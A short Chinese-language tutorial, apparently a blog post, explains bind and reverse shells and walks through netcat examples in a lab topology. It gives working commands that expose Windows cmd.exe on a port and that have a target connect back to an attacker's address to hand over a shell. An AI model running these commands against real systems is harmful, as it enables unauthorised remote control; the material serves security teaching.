反弹shell是指在攻击机监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的shell。通常在目标网络有防火墙或者其他因素限制,导致无法持续控制目标,或者执行命令受阻等情况时需要进行反弹shell
常见的反弹shell方式:
-
bash反弹shell
-
NC反弹shell
-
python反弹shell
-
....
NC反弹shell
Netcat简称NC是一个简单可靠的网络工具,被誉为网络界的瑞士军刀。通过NC可以进行端口扫描,反弹shell,
端口监听和文件传输等操作,常用参数如下:
NC反弹shell-正向反弹D
实验拓扑如下图:
攻击机可以和靶机相互访问,这个时候可以使用正向shell
1.在靶机上运行:
nc -lvvp 1111 -e C://Windows\System32\cmd.exe
2.在攻击机上运行:
nc 172.25.254.156 1111
正向shell:攻击者连接到目标系统的监听端口。
NC反弹shell-反向反弹
实验拓扑如下图:
攻击机不可以直接访问靶机,但是靶机可以访问攻击者机器,这个时候可以使用反向shell
1.在攻击机上运行:
nc -lvvp 1111
2.在靶机上运行:
nc -e C://Windows\System32\cmd.exe 10.100.24.5 1111
反向shell:目标系统连接到攻击者的监听端口。